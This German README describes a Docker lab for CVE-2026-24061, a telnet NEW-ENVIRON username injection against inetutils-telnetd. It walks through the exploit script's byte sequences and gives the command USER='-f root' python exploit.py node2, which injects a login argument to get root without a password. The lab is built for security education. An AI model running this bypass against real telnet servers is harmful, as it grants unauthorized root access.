
# Docker-Lab zur Telnet NEW-ENVIRON-Benutzernamen-Injektion (CVE-2026-24061) Pädagogisches Docker-Lab, das die Telnet-NEW-ENVIRON-Benutzernamen-Injektion (CVE-2026-24061) mit einem Python-Client und einem verwundbaren Server für isolierte Sicherheitsforschung demonstriert.
Ein leichtgewichtiges Docker-Labor zum Experimentieren mit Telnet-Protokollverhandlung, erklärt im CVE-2026-24061-Exploit, der eine automatische Benutzernamen-Injektion mithilfe der NEW-ENVIRON-Option enthält.
Dieses Projekt erstellt eine isolierte Client-Server-Umgebung, um zu untersuchen, wie Telnet die umgebungsbasierte Authentifizierungsumgehung behandelt.
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Client | | Telnet |
| Python | | Server |
+---------+ +---------+
| Container | Rolle |
|---|---|
| node1 | Python-Client mit Auto-Login-Skript |
| node2 | Telnet-Server (inetutils-telnetd 2.7) |
Beide Dienste laufen in einem privaten Docker-Bridge-Netzwerk namens labnet.
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
Diese Datei ist für die Installation des Client-Containers namens node1 verantwortlich.
Ich habe python:3.12-slim als Basis-Image gewählt, da der Zweck dieses Labors ausschließlich die Netzwerkkommunikation ist. Wir installieren nur den Telnet-Client selbst und kopieren die exploit.py in das Stammverzeichnis des Containers.
Diese Datei ist für die Installation des Server-Containers namens node2 verantwortlich.
Dasselbe Basis-Image gilt auch für diesen Container. Der Installationsprozess umfasst jedoch mehr Schritte:
wget installieren, um die verwundbare Version von telnetd zu erhalten.apt get install -y./etc/inetd.conf angehängte Zeile aktiviert den Telnet-Dienst.Am Anfang der Datei sehen wir einige deklarierte Konstanten:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
IAC mit dem Wert 255 bedeutet „Interpret As Command" (Als Befehl interpretieren) und markiert den Beginn der Telnet-Steuersequenz.
Weitere Optionen können Sie hier einsehen.
Das Format sieht normalerweise so aus:
IAC <Befehl> <Option>
Im Skript gibt es den folgenden Teil:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
Diese if-Abfrage prüft, ob die aktuell vom Server empfangenen Daten den IAC-Wert enthalten. Wenn ja, müssen wir ihn als Befehl interpretieren.
Wir durchlaufen die empfangenen Daten mit einer while-Schleife. Wir prüfen jedes Byte darauf, ob es ein IAC ist.
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
Wenn dies der Fall ist, weisen wir den Variablen cmd und opt das entsprechende Byte des Datenstroms zu.
Wenn der opt-Wert dem Wert von NEW_ENVIRON entspricht, führt das Skript die Methode send_new_environ_user aus.
Betrachten wir den folgenden Codeteil:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
SB und SE sind Teil der Konstanten des Telnet-Protokolls. SB steht für „Subnegotiation begin" (Beginn der Subverhandlung), während SE für „Subnegotiation end" (Ende der Subverhandlung) steht. Alles zwischen diesen beiden Werten sind Einstellungen, die sich auf einen bestimmten Befehl beziehen und an den Server gesendet werden. In diesem Fall möchten wir eine Nachricht gemäß dem rfc1572-Standard senden, im Detail hier.
Wir können die Bytesequenz grob wie folgt ins Englische übersetzen:
- Interpretiere dies als Befehl (IAC)
- Es ist (0)
- Eine neue Umgebungsvariable (NEW_ENVIRON)
- Der Wert dieser neuen Umgebungsvariable ist (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Beende die Subverbindung (IAC + SE)
Es gibt jedoch Fälle, in denen der anvisierte Telnet-Server keine Umgebungsvariablen in Bezug auf Benutzernamen unterstützt. In diesem Fall greifen wir auf die herkömmliche Methode zurück und senden den Benutzernamen auf traditionelle Weise.
Installation überprüfen:
docker --version
docker compose version
docker compose up --build -d
Status prüfen:
docker ps
Sie sollten Folgendes sehen:
node1node2docker exec -it node1 bash
Einen Benutzernamen festlegen und das Skript ausführen:
USER="-f root" python exploit.py node2
Das Skript wird:
node2 auf Port 23 herstellenUSER=-f root mithilfe von NEW-ENVIRON sendenlabnet| Hostname | Dienst |
|---|---|
| node1 | Client |
| node2 | Telnet-Server |
Das Client-Skript:
IAC, DO, WILL, die grundlegende Telnet-Protokollbefehle für die Optionsverhandlung zwischen Client und Server sind.NEW-ENVIRON-AnfragenUSER=<Wert von $USER>
login:- oder username:-Eingabeaufforderungen als FallbackUmgebung stoppen:
docker compose down
Wenn Sie auch Container und Images entfernen möchten:
docker compose down --rmi all
Telnet überträgt Daten im Klartext und ist nicht sicher. Dieses Projekt ist nur für Bildungszwecke in isolierten Umgebungen gedacht.
Verbindung abgelehnt
Stellen Sie sicher, dass die Container laufen:
docker ps
Skript beendet mit USER-Fehler
USER="-f root" python exploit.py node2
Nach Änderungen neu erstellen
docker compose up --build
Dieses Repository wird für Bildungs- und Forschungszwecke bereitgestellt. Beiträge und Verbesserungen sind willkommen.